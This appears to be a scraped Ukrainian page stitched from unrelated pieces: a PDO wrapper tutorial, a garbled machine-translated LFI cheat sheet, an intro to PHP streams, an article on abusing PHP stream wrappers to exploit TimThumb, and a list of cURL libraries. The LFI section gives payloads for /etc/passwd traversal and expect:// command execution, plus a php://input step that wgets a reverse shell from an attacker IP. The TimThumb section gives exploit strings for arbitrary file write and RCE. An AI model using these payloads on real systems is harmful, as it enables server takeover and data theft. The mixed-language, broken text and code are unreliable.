Введення в PHP Потоки. Як враппери PHP можуть бути використані для атаки на веб-програми Що таїть у собі ZIP


Головний недолік і PDO, і mysqli під час роботи з підготовленими виразами у тому, що й вбудовані функції заточені на множинне виконання підготовленого запиту (коли prepare викликається лише раз, та був багато разів викликається execute() з різними даними). Через це вони такі багатослівні. Але біда в тому, що на практиці РНР виконувати такі запити доводиться досить рідко. І в результаті для більшості запитів доводиться щоразу писати непотрібний код:

$stmt = $pdo -> prepare ($sql);
$stmt -> execute ($params);
$ data = $ stmt -> fetch ();

Що називається – за що боролися, на те й напоролися. Жодного скорочення коду в порівнянні з пам'ятною mysql_query() не відбулося. А дуже хотілося б!
При цьому Wes Furlong підклав користувачам PDO ще одну свиню - execute() повертає тупо бульове значення замість того, щоб повертати стейтмент, що дозволило б реалізувати method chaining та отримувати красивий код виду

$data = $pdo -> prepare ($sql )-> execute ($params )-> fetch ();

Але, на жаль, навіть такий підхід майже недоступний. Та й у будь-якому випадку він надмірний, оскільки в більшості випадків нам не треба робити ні prepare, ні execute - нам треба тупо виконати чортовий запит, передавши в нього чортові дані для плейсхолдерів.

Тому, щоб скоротити кількість писанини, додамо до PDO одну функцію, run(), вся функція якої зводитиметься наведеному вище коду - виконати prepare/execute і повернути стейтмент:

class MyPDO extends PDO
{
public function run ($sql, $args = NULL)
{
$stmt = $this -> prepare ($sql);
$stmt -> execute ($args);
return $stmt;
}
}

А вже зі стейтменту ми можемо отримати будь-які дані, будь-яким стандартним способом:

$data = $pdo -> run ( "SELECT * FROM users WHERE sex="male"")-> fetchAll ();

Проблема N2, доступність
Ще одним неприємним відкриттям для новачків є те, що до ПДО не можна звернутись у будь-якому місці скрипту, як до mysql_query().

Тому наступним покращенням буде реалізація доступу до ПДО через статичний синглтон. Цей патерн часто лають в інтернеті, і за справу. Але тут треба розуміти одну просту річ:
Якщо ваш код схильний до тих проблем, які може породити синглтон - значить, ви вже користуєтеся високорівневим драйвером БД, швидше за все зі складу популярно фремворка.
Але якщо ви тільки-но вилізли з печери з mysql_query(), звикнувши писати її по всьому коду не дбаючи про передачу з'єднання, то необхідність тягати за собою інстанс PDO стане серйозним випробуванням. При тому, що і сам синтаксис PDO, і підготовлених виразів і власними силами утворюють не кволий такий поріг входження. Тож спробуємо підсолодити пігулку можливістю звернутися до БД із будь-якого місця скрипту, як у старі добрі часи.

У результаті у нас вийшла дуже компактна надбудова над PDO, яка, будучи такою ж простою у використанні, як і mysql_query(), при цьому скорочує код і забезпечує безпеку підготовлених виразів.

Код

define ("DB_HOST", "localhost");
define ("DB_NAME", "test");
define ("DB_USER", "root");
define ("DB_PASS", "");
define ("DB_CHAR", "utf8");

class DB
{
protected static $instance = null;

Public function __construct () ()
public function __clone () ()

Public static function instance ()
{
if (self :: $instance === null )
{
$opt = array(
PDO :: ATTR_ERRMODE => PDO :: ERRMODE_EXCEPTION ,
PDO :: ATTR_DEFAULT_FETCH_MODE => PDO :: FETCH_ASSOC ,
PDO :: ATTR_EMULATE_PREPARES => TRUE ,
);
$dsn = "mysql:host=" . DB_HOST. ";dbname=" . DB_NAME. "; charset =" . DB_CHAR;
self :: $instance = новий PDO ($dsn, DB_USER, DB_PASS, $opt);
}
return self :: $instance;
}

Public static function __callStatic ($method , $args )
{
return call_user_func_array (array(self::instance(), $method), $args);
}

Public static function run ($sql, $args =)
{
if (! $args )
{
return self::instance()->query($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> execute ($args);
return $stmt;
}
}

Приклади

# Створюємо таблицю
DB :: query ( "CREATE temporary TABLE pdowrapper (id int auto_increment primary key, name varchar(255))");

# множинне виконання підготовлених виразів
$stmt = DB :: prepare ( "INSERT INTO pdowrapper VALUES (NULL, ?)");
foreach ([ "Sam" , "Bob" , "Joe" ] as $name )
{
$stmt -> execute ([$name]);
}
var_dump(DB::lastInsertId());
//string(1) "3"

# Отримання рядків у циклі
$stmt = DB :: run ("SELECT * FROM pdowrapper");
while ($row = $stmt -> fetch (PDO :: FETCH_LAZY ))
{
echo $row ["name"], ",";
echo $row -> name, ",";
echo $row [1], PHP_EOL;
}
/*
Sam, Sam, Sam
Bob,Bob,Bob
Joe, Joe, Joe
*/

# Отримання одного рядка
$ id = 1;
$row = DB :: run ( "SELECT * FROM pdowrapper WHERE id=?", [$ id ])-> fetch ();
var_export ($ row);
/*
array (
"id" => "1",
"name" => "Sam",
*/

# Отримання одного поля
$name = DB :: run ( "SELECT name FROM pdowrapper WHERE id=?", [$ id ])-> fetchColumn ();
var_dump ($name);
//string(3) "Sam"

# Отримання всіх рядків у масив
$all = DB :: run ( "SELECT name, id FROM pdowrapper")-> fetchAll (PDO :: FETCH_KEY_PAIR );
var_export ($all);
/*
array (
"Sam" => "1",
"Bob" => "2",
"Joe" => "3",
*/

# Оновлення таблиці
$new = "Sue";
$stmt = DB :: run ( "UPDATE pdowrapper SET name=? WHERE id=?", [ $ New , $ ID ]);
var_dump ($stmt -> rowCount());
//int(1)

LFI stands for Local File Includes- Це 'file local inclusion vulnerability that allows an attacker to include files that exist on the target web server. Typically this is exploited by abusing dynamic file inclusion mechanisms that don’t sanitize user input.

Scripts що файли файлів як параметри без санітарного використання входять хороші candidates для LFI vulnerabilities, хороший приклад може бути пов'язаний з PHP script foo.php?file=image.jpg ,які такі image.jpg як параметр. На attacker would simply replace image.jpg and insert a payload. Normal a directory traversal payload використовує те, що escapes script directory і за допомогою файлової системи directory structure, exposing sensitive files such as foo.php?file=../../../../../../.. /etc/passwd або sensitive files within web application itself. Exposing sensitive information or configuration files containing SQL usernames і passwords.

Note: У деяких випадках, залежно від природи LFI vulnerability це може бути виконана система executables.

How to get a Shell from LFI

Крім того, деякі технології I've використані в косметичній коробці на системах з невдалими LFI scripts exposed.

Path Traversal aka Directory Traversal

Як mentioned above Traverse filesystem directory structure до обговорення чутливої ​​інформації про систему, яка може допомогти вам, щоб shell, usernames / passwords etc.

PHP Wrapper expect:// LFI

За допомогою execution system commands via php expect wrapper, unfortunately this is not enabled by default.

An example of PHP expect:

http://127.0.0.1/fileincl/example1.php?page= expect://ls

Будь-який Error received if the PHP expect wrapper is disabled:

Warning : include () : Неналежним для того, щоб потрапити "завантажити" - ніби forget to enable it when you< br >configured PHP? in / var / www / fileincl / example1 . php on line 7 Warning : include () : Відмінно< br >wrapper "expect" - did you forget to enable it when you configured PHP ? in< br >/var/www/fileincl/example1. php on line 7 Warning : include (expect : / ls ) : неможливий до Open stream : No such file або directory in / var / www / fileincl / example1 . php on line 7 Warning : include () : Failed opening "expect://ls" for inclusion (include_path = ".:/usr/share/php:/usr/share/pear") in / var / www / fileincl / example1 . php on line 7

PHP Wrapper php://file

Інший PHP wrapper, php://input вашого плата є в POST-вимоги, використовуючи curl, burp або hackbar, щоб забезпечити post-data, що є можливим для option.

http://192.168.183.128/fileincl/example1.php?page= php://input

Post Data payload, try something simple to start with like:

The try і download from your attacking machine using:

"wget ​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php") ; ?>

Після оновлення execute the reverse shell at http://192.168.183.129/shell.php

PHP Wrapper php://filter

Інший PHP wrapper, php://filter в цьому розкладі output is encoded using base64, so you’ll потрібно to decode the output.

http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI Method

Якщо це можна включати /proc/self/environ з вашого vulnerable LFI script, то код execution може бути спрямований на manipulation the User Agent parameter with Burp. Після PHP-коду буде введено /proc/self/environ може бути виконано за допомогою вашого vulnerable LFI script.

/proc/self/fd/ LFI Method

Подібно до попереднього /proc/self/environ метод, це може бути введений код в прок-логові файли, які можуть бути виконані за допомогою вашого vulnerable LFI script. Типово ви будете використовувати burp або curl to inject PHP code into referer .

Цей метод є дуже коротким як proc файл, який містить Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2 , /proc/self/fd/10 etc. I'd recommend brute forcing the directory structure of /proc/self/fd/ directory with Burp Intruder + FuzzDB's LFI-FD-Check.txt ліки likely proc files, ви можете перейти на перевірену сторінку сторін і investigate.

fimap LFI Pen Testing Tool

Fimap є інструментом, використовуваним для випробувань пісні, що автомати, які виконують процеси записування і розкриття LFI scripts. Під час записування на vulnerable LFI script fimap буде вказувати на локальний файлсистеми і пошуку для письмових log файлів або місць так як /proc/self/environ . Інші інструменти, як правило, використовувалися для випробувань на автоматі LFI discovery є Kali's dotdotpwn, які працюють в той же час.

fimap + phpinfo() Exploit

Fimap exploits PHP's temporary file creation за допомогою Local File Inclusion by abusing PHPinfo() information disclosure glitch до показу місцезнаходження генерованого temporary file.

Якщо phpinfo() файл є дійсним, це зазвичай може бути використано для shell, якщо ви не знаєте місцезнаходження файлу phpinfo файлу можна зробити для нього, або ви можете використовувати інструмент OWASP DirBuster.

У програмуванні постійно доводиться працювати з різними ресурсами: файлами, сокетами, http-з'єднаннями. І всі вони мають якийсь інтерфейс доступу, часто несумісний друг з одним. Тому, щоб усунути дані невідповідності та уніфікувати роботу з різними джерелами даних, починаючи з PHP 4.3були придумані PHP Streams - потоки.

Незважаючи на те що PHP 4.3вийшов давним-давно, багато хто PHP-програмістимають дуже віддалене уявлення про потоках у PHP, і продовжують використовувати CURLскрізь, хоча в PHPдля цього існує зручніша альтернатива у вигляді контексту потоків (Stream Context).

Наступні види потоків існують у PHP:

  • Файл на жорсткому диску;
  • HTTP-з'єднанняіз веб-сайтом;
  • З'єднання UDPіз сервером;
  • ZIP-файл;
  • Файл * .mp3.

Що спільного є у всіх цих ресурсах? Усі вони може бути прочитані і записані, тобто. до них до всіх можуть бути застосовані операції читання та запису. Сила потоків PHPякраз і полягає в тому, що ви можете отримати доступ до всіх цих ресурсів, використовуючи той самий набір функцій. Це дуже зручно. Також, якщо раптом виникне така потреба, Ви можете написати свою власну реалізацію обробника потоків "stream wrapper". Крім читання та запису, потоки в PHPтакож дозволяє виконувати інші операції, такі як перейменування та видалення.

Програмуючи на PHP, Ви вже зустрічалися із потоками, хоча можливо не здогадувалися про це. Так, функції, що працюють із потоками - це fopen(), file_get_contents(), file()і т.д. Тому фактично Ви вже використовуєте файлові потоки весь цей час, повністю прозоро.

Для роботи з іншим типом потоку необхідно вказати його протокол (wrapper)наступним чином: wrapper://some_stream_resource, де wrapper://- це, наприклад http://, file://, ftp://, zip://і т.д., а some_stream_resource - URI-адресаідентифікує те, що ви хочете відкрити. URI-адресане накладає жодних обмежень на формат. Приклади:

  • http://сайт/php-stream-introduction.html
  • file://C:/Projects/rostov-on-don.jpg
  • ftp://user: [email protected]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Однак, врахуйте, що не всі протоколи та обробники можуть працювати у Вас, тому що підтримка деяких оболонок залежить від Ваших налаштувань. Тому, щоб дізнатися, які протоколи підтримуються, необхідно виконати наступний скрипт:

// Список зареєстрованих транспортів сокету
print_r(stream_get_transports());

// Список зареєстрованих потоків (обробників)
print_r(stream_get_wrappers());

// Список зареєстрованих фільтрів
print_r(stream_get_filters();

Контексти потоків PHP

Часто виникає потреба вказати додаткові параметри при http-запиті. Контексти потоків вирішують проблему, дозволяючи вказати додаткові параметри. Багато функцій, що підтримують роботу з потоками, є необов'язковим параметром контексту потоку. Давайте подивимося на функцію file_get_contents():

String file_get_contents(string $filename [, int $flags = 0 [, resource $context [, int $offset = -1 [, int $maxlen = -1]]]])

Як видно, третім параметром передається контекст потоку. Контексти створюються за допомогою функції stream_context_create()яка приймає масив і повертає ресурс контексту.

$options = array(
"http" => array(
"method" => "GET",
"header" => "Accept-language: en\r\n".
"Cookie: foo = bar\r\n"
);

$context = stream_context_create($options);

// Використовуючи це з file_get_contents ...
echo file_get_contents ("http://www.example.com/", 0, $context);

Таким чином сьогодні ми дізналися, що таке потоки та контексти потоків у PHP, розглянули приклади їх використання, а в наступних статтях ми поговоримо про метадані потоку і створимо свій власний обробник.

Гнучкість мови програмування додає зручності розробникам, але відкриває нові вектори для атаки. Розробники РНР часто використовують так звані wrapper'и і навіть не підозрюють, що це може призвести до обходу вбудованих у додаток фільтрів безпеки і, наприклад, дозволити виконати на сервері довільний код. Про врапперів, їх особливості та погрози, з ними пов'язані, і піде сьогодні мова.

WARNING

Вся інформація надана виключно для ознайомлення. Ні редакція, ні автор не несуть відповідальності за будь-яку можливу шкоду, заподіяну з використанням матеріалів цієї статті.

Intro

Вразливості, пов'язані з реалізованим у PHP механізмом врапперів, обговорюються досить давно. Посилання на них присутні в OWASP TOP 10 та WASC TCv2. Однак ряд особливостей реалізації кодування даних призводить до того, що навіть програми, розроблені з урахуванням вимог безпеки, можуть містити вразливість (включаючи критичні). У цій статті ми спочатку коротко розглянемо, що є PHP wrappers і як вони можуть бути корисні програмістам. Потім розберемо їх особливості, які дозволяють обходити вбудовані в додаток фільтри безпеки та реалізовувати атаки, пов'язані з несанкціонованим доступом до файлової системи та виконанням довільного коду.

Wrapper'и

У PHP є таке поняття як потоки (Streams), які з'явилися в інтерпретаторі починаючи з версії 4.3.0. Це абстрактний шар для роботи з файлами, мережею, стислими даними та іншими ресурсами, які використовують єдиний набір функцій. У найпростішому визначенні потік - це ресурс, що має «потокоподібну» поведінку. Тобто ресурс, з якого можна читати, який можна писати і всередині якого можна переміщатися. Наприклад розглянемо функцію fopen. Згідно з офіційною документацією, вона має наступний синтаксис:

Resource fopen (string $filename , string $mode [, bool $use_include_path = false [, resource $context ]])

де як $filename може бути використаний шлях до локального файлу. Добре відомо, що отримати вміст локальних файлів можна так:

$handle = fopen($file, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) print $contents;

Але крім тривіального шляху до файлу можна використовувати звані враппери (wrapper). Найкращий спосіб пояснити, що це таке – навести кілька прикладів. Отже, з використанням врапперів через ту саму функцію fopen стає можливим:

  • завантажувати файли з FTP: ftp://user: [email protected]/pub/file.txt;
  • звертатись, якщо доступ до них обмежений, до server-status/server-info за IP: http://127.0.0.1/server-status;
  • звертатися до файлових дескрипторів, відкритих для читання (PHP >= 5.3.6): php://fd/XXX;
  • і навіть виконати команди OS (якщо встановлене розширення expect): expect://ls.

Враппери (вони ж обробники протоколу чи обгортки) вказують функцій, як обробляти дані з потоку. Тому функції, що підтримують враппери, можуть бути використані для отримання даних із різних джерел. Враппери дозволяють гнучко та зручно обробляти дані, що надходять у програму через якийсь потік, а також модифікувати їх за потреби.

У розглянутому прикладі враппери використовувалися як read. Якщо відбувається запис даних, то й у разі враппери також можуть розширити можливості багатьох функцій. Наприклад, функція copy() підтримує враппери в обох своїх аргументах, і якщо в другому аргументі використовується обгортка php://output, то файл, що копіюється, відправляється у вихідний буфер. Таким чином, функція copy() дозволяє не лише копіювати файли, а й читати їх.

Copy("/etc/passwd", "php://output");

Аналогічно можна використовувати функцію file_put_contents і будь-яку іншу функцію, що підтримує враппер в режимі write:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

У версії PHP 5.3.6 з'явився вперпер php://fd, який надає прямий доступ до файлових дескрипторів. Якщо PHP встановлений як модуль Apache'а, враппер php://fd дає можливість записувати довільні дані в access_log/error_log (зазвичай права на цих файлах 644 і безпосередньо в них може писати тільки root).

Треба сказати, що в PHP досить багато вбудованих врапперів, але при цьому можна створювати та реєструвати власні обгортки, використовуючи функцію stream_wrapper_register. Більш детальну інформацію ти зможеш знайти на офіційному сайті PHP. Повний список доступних врапперів можна переглянути з секції phpinfo - Registered PHP Streams.

Деякі враппери мають недокументовані особливості, що дозволяють ефективно експлуатувати вразливості веб-додатків. Саме ці особливості ми сьогодні й розглянемо.

Що таїть у собі ZIP?

ZIP - популярний формат стиснення даних та архівації файлів. Підтримка цього формату реалізована у всіх сучасних операційних системах, а бібліотеки до роботи з ним написані більшості мов програмування. У PHP для роботи з цим форматом зручно використовувати модуль ZIP.

У Linux-системах модуль zip стає доступним, якщо PHP скомпільований з опцією enable-zip. Архівувати можна як окремі файли, а й цілі каталоги; щоб зберігалася структура каталогу, в іменах файлів, що додаються до архіву, допустимо використовувати слєш /. Ще однією важливою особливістю модуля zip є можливість обробляти файли з довільним ім'ям: головне щоб вміст файлу було коректно сформованим zip-архівом.

Створення zip-архіву $zip = новий ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "close();

Після того, як zip-архів створений, за допомогою враппера zip:// можна безпосередньо звертатися до файлів усередині архіву.

Читання файлу з zip-архіву print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Можливість поміщати в архів файли, в іменах яких є сліш, дозволяє експлуатувати вразливості типу Remote File Include, за відсутності null-байта. Наприклад розглянемо наступний простий скрипт:

$s = $_POST["path"]; include $s."/header.html";

Звісно, ​​домогтися виконання коду у разі можна різними шляхами. Але використання врапперів http://, ftp://, data:// обмежується директивою allow_url_include, а використанню null-байта при інклуді локальних файлів швидше завадить директива magic_quotes_gpc. І може навіть здатися, що при allow_url_include=Off і magic_quotes_gpc=On проексплуатувати вразливість жодним чином не вийде. Але є ще один спосіб, який не описаний раніше в паблиці!

Для початку припустимо, що є можливість створювати на сервері, що атакується, файли. Тоді, створивши zip-архів, як показано на прикладі вище, можна виконати PHP-код, використовуючи враппер zip://.

Path=zip:///tmp/any_name_zip_arxiv#/my

Якщо немає можливості створити потрібний файл за допомогою PHP-функції, можна використовувати тимчасові файли, які створює PHP при завантаженні контенту через HTML-форму. Шлях до тимчасового файлу можна дізнатися із phpinfo(). Докладнішу інформацію про те, як використовувати тимчасові файли під час експлуатації вразливостей типу LFI/RFI, можна отримати на форумі rdot.org . Важливо, що директива allow_url_fopen не обмежує застосування обгортки zip://.

Where is my data://?

Враппер data:// з моменту своєї появи привертав увагу спеціалістів з веб-безпеки. В офіційній документації цей враппер пропонують використовувати у дуже обмеженій формі. Але згідно з специфікацією RFC 2379, ця обгортка допускає більш розгорнутий синтаксис:

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ type "/" subtype ] *(";" parameter) data:= *urlchar parameter:= attribute "=" value

При цьому mediatype може або повністю бути відсутнім, або бути заповнений довільними значеннями:

Data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Цю особливість враппера можна використовуватиме обходу перевірок і фільтрів. Наприклад, у популярному скрипті TimThumb v1.x є такий фільтр:

Function validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; return preg_match ($pattern, $url); )

Обійти цю перевірку можна так:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

У PHP існує така функція, як stream_get_meta_data(). Згідно з офіційною документацією, вона витягує метадані з потоків та файлових покажчиків:

Array stream_get_meta_data (resource $stream)

При цьому у масиві, що повертається, містяться елементи з чітко заданими ключами, і завдання додавання в цей масив нових елементів виглядає на перший погляд досить проблематичною. Але за допомогою враппера data:// можна досить просто маніпулювати цим масивом! Як? Наведу приклад:

$password = "secret"; $file = $_POST["file"]; $ fp = fopen ($ file, "r"); extract(stream_get_meta_data($fp)); if ($mediatype === "text/plain") ( ... ) if ($_COOKIE["admin"] === $password) ( ... )

Якщо в змінній $file замість імені локального файлу використовувати вперпер data,

POST DATA: file=data://text/plain;password=mysecret;base64

можна легко перевизначити параметр $password і, використовуючи куки, пройти авторизацію.

Cookie: admin=mysecret

Холодний компрес

Згідно з документацією, обгортка compress.zlib:// дозволяє розпаковувати gz-архіви. Якщо за допомогою цього враппера обробляти дані, що не є zlib-архівом, дані повертаються без змін.

Readfile("compress.zlib:///etc/hosts");

"Дуже корисно!" - Подумаєш ти:). Зараз буде крутіше. Якщо ти хоч трохи програмував на PHP для Інтернету, то, напевно, знайомий з функцією prase_url(). Нагадаю, ця функція здійснює парсинг URL. І тут є один цікавий момент: на вхід функції можна надати не лише URL, а й рядок досить загального типу:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

З огляду на цю особливість можна обходити різні перевірки та фільтри на основі функції parse_url, використовуючи багатофункціональні враппери. Наприклад розглянемо наступний скрипт, який, за задумом розробників, може завантажувати файли тільки з довіреного хоста img.youtube.com.

$url_info = parse_url($_POST["src"]); if ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["path"], 4)); copy($ src, "./".$name);

У штатному режимі прев'ю з img.youtube.com завантажуються таким чином:

POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

У цьому випадку фільтр можна обійти і за допомогою раппера compress.zlib://.

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

Крім цього, досить просто обійти фільтр на ім'я хоста і завантажити на сервер файл із довільним ім'ям та вмістом за допомогою раніше розглянутого нами враппера data://:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

У цьому випадку локальні файли копіюватимуться в папку з превью: якщо ця папка доступна для прямого звернення з браузера, то з'являється можливість переглядати системні файли. З цього прикладу видно, що використання врапперів data:// і compress.zlib:// може бути корисним у скриптах, що завантажують файли з віддалених хостів. Одним із таких скриптів є TimThumb.


Експлуатація вразливостей у TimThumb v1.x

TimThumb - це популярний скрипт для роботи із зображеннями, який використовується у багатьох темах та плагінах для WordPress. У серпні 2011 року в скрипті TimThumb v 1.32 була знайдена критична вразливість, що дозволяє завантажувати на сервер, що атакується, замість зображень з довірених хостів файли з PHP-кодом . Майже відразу в публічному доступі з'явилася адвізорі, яка докладно розповідає про експлуатацію цієї вразливості.

Суть уразливості полягала в тому, що скрипт некоректно проводив перевірку URL за списком довірених хостів, з яких можна було завантажити зображення. Для обходу фільтрів, наприклад по довіреному хосту blogger.com, пропонувалося зареєструвати домен четвертого рівня, що містить URL довіреного хоста, наприклад blogger.com.attacker.com, і завантажувати файли з цього домену.

http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Цим способом можна проексплуатувати вразливість до версії 1.32 (revision 142). Але новіші версії виявилися також вразливими. Розглянемо, як відбувається завантаження зображень у версії 1.34 (revision 145):

Function check_external ($src) ( ...................... $filename = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $filename; if (!file_exists ($local_filepath)) ( if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ")!==false)( if (!validate_url ($src)) display_error ("invalid url"); $url_info = parse_url ($src); ................ ...... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["query") ]);...................... if (function_exists ("curl_init")) ( ............... ....... $fh = fopen ($local_filepath, "w"); $ch = curl_init ($src); ..................... ................ curl_setopt ($ch, CURLOPT_URL, $src);...................... curl_setopt ($ch, CURLOPT_FILE, $fh);curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); ........... $file_infos = getimagesize ($local_filepath), if (empty ($file_infos["mime"]) || $file_infos["mime"])) (unlink ($local_filepath); touch ($ local_filepath); ......................

Неважко помітити, що під час проектування функції check_external було допущено кілька логічних помилок:

  1. Після виконання більшості перевірок у функцію parse_str потрапляють нефільтровані дані користувача. Таким чином можна перевизначити змінні, які до цього перевірялися: $url_info['host'], $src, $local_filepath. Тому можна завантажувати файли з будь-яких серверів.
  2. Після завантаження файлу на сервер на основі getimagesize перевіряється, чи файл є зображенням. Якщо перевірку не пройдено, файл видаляється. Але так як є можливість впливати на змінну $local_filepath, то локального файлу можна звертатися, використовуючи враппери php://filter, compress.zlib://. А в цьому випадку функція unlink не зможе видалити файл.

Небагато покопавшись, я написав експлойт для завантаження файлів. З довільним ім'ям і довільним вмістом, довільне місце системи.

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

Гілка 1.х закінчується 149-ю ревізією, в якій теж є вразливість. У цій ревізії вже прибрано функцію parse_str і тому немає можливості зробити перезапис змінних. Але фільтри, що перевіряють валідність URL, перевіряють лише входження відповідних підрядків у рядку $src. При цьому якщо функція curl_init недоступна на сервері, що атакується, то завантаження файлів здійснюється за допомогою file_get_contents/file_put_contents. Важливо, що ці функції, на відміну від curl_init, підтримують всі доступні в PHP враппери.

If(!$img = file_get_contents($src)) ( display_error ("remote file for ". $img) == FALSE) ( display_error ("error writing temporary file"); )

Таким чином, за допомогою враппера data:// можна обійти всі фільтри та створити файл у директорії кешу з довільним вмістом:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Або за допомогою враппера compress.zlib:// скопіювати в кеш локальний файл:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Профіт у тому, що до файлів з кешу можна звертатися безпосередньо, в результаті чого досягти RCE через запис шелла за допомогою враппера data, а також отримати вміст локальних файлів, використовуючи compress.zlib.

Замість ув'язнення

Очевидно, що вбудовані в PHP враппери дають великі можливості при експлуатації вразливостей типу File Manipulation. Але при цьому варто відзначити, що навіть найпростіші перевірки на основі функцій file_exists, is_file, filesize не дадуть скористатися врапперами. Також при встановленому патчі Suhosin за замовчуванням неможливо використовувати враппери в инклудах, навіть якщо директива allow_url_include має значення On. На цьому я не закриваю тему використання врапперів і в наступній статті розповім про можливості враппера php://filter на прикладах експлуатації вразливостей у популярних веб-движках. Stay tuned!

Тут kings, як деякими, відповідно до розміру або важливості вашого проекту, вам не потрібно так, як library, але тільки curl. Слідом за тим, що загрожують багатьма способами і матимуть змогу виконати запити easier.

7. Curl by dcai

Цей брокер offers abstraction layer що simplifies syntax of the PHP cURL Library:

$http = new dcai\curl; // enable cache $http = new dcai \ curl (array ("cache" => true)); // enable cookie $http = new dcai\curl(array("cookie"=>true)); // enable proxy $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"words", "name"=>"moodle")); // POST RAW $xml = " perform$response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("file"=>"/var/www/test.txt");

6. CurlWrapper

CurlWrapper є flexible wrapper class for PHP cURL extension. Ви можете сприяти сприятливому впливу на library with:

Try ( $curl = new CurlWrapper(); ) catch (CurlWrapperException $e) ( echo $e->getMessage(); )

CurlWrapper об'єкти підтримують 5 типів потреб: HEAD, GET, POST, PUT, і DELETE. Ви повинні specify url to request and optionally specify associative array or query string of variables to send along with it:

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. Rolling cURLx

Rolling Curl є легко використовувати CURL Multi wrapper для PHP з дуже cool name. Це aims at making concurrent http requests в PHP as asy possible. Перші ініціалізовані класи з максимальним номером поточних реакцій ви будете оголошуватися в часі:

$RCX = новий RollingCurlX(10);

Всі запитання після цього будуть необхідними until one completes:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //set to NULL if not using POST $user_data = ["foo", $whatever]; $options =; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; couple extras ) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

Виконати дії. Blocks until all requests complete or timeout:

$RCX->execute();

4. PHP Curl

PHP Curl is avery Simple PHP curl wrapper class for cURL. Посилання на автора, ця категорія є малі можливості OOP wrapper для PHP's curl capabilities. Note that this is not meant as a high-level abstraction. curl options to set, and you need to know some HTTP basics. It's syntax is developer friendly:

// newRequest, newJsonRequest and newRawRequest returns a Request object $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $response = $request->send();

3. Curl Easy

Curl Easy is wrapper for cURL extension of PHP. Supports parallel and non-blocking requests. Це невеликий, але потужний і міцний library, які спираються на це. Якщо ви збираєтеся використовувати PHP URL-адресу з його послідовним функцією, але ви будете керувати керуванням про те, що script execution it's great choice for you.

  • widely unit tested.
  • lightweight library with moderate level interface. It's not all-in-one library.
  • parallel/asynchronous connections with very simple interface.
  • attaching/detaching requests in parallel on run time!
  • support for callbacks, так що ви можете контролювати виконання процесів.
  • intelligent setters як альтернатива CURLOPT_* constants.
  • if you know the cURL php extension, you don"t have to learn things from beginning

It's syntax is pretty easy to understand as well:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $response = $request->send(); $feed = json_decode($response->getContent(), true); echo "Current Bitcoin price: ". $feed["data"]["rate"] . " ". $feed["data"]["code"] . "\n";

2. Curl by Shuber

Curl library є basic CURL wrapper for PHP. Curl object supports 5 типів потреб: HEAD, GET, POST, PUT, і DELETE. Ви маєте особливість на url to request and optionally specify an associative array or string of variables to send along with it. Simply require and initialize the Curl class like so:

Require_once "curl.php"; $ Curl = New Curl; $response = $curl->head($url, $vars = array()); $response = $curl->get($url, $vars = array()); # The Curl object will append the array of $vars to $url as query string $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = array()); $response = $curl->delete($url, $vars = array());

1. PHP Curl Class

PHP Curl Class є дуже добре написана копійка URL, що робить дійсно приємні на одному HTTP-заходах і integrate with any kind of web APIs. PHP Curl Class works with PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1, і HHVM. Це library is widely known and offers a really easy syntax:

Require __DIR__ . "/vendor/autoload.php"; use \Curl\Curl; $ Curl = New Curl (); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Error: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Response:" . "\n"; var_dump($curl->response);

Якщо ви знаєте інші дивовижні платні library для електронної пошти extension written в PHP, please share it with community in comment box.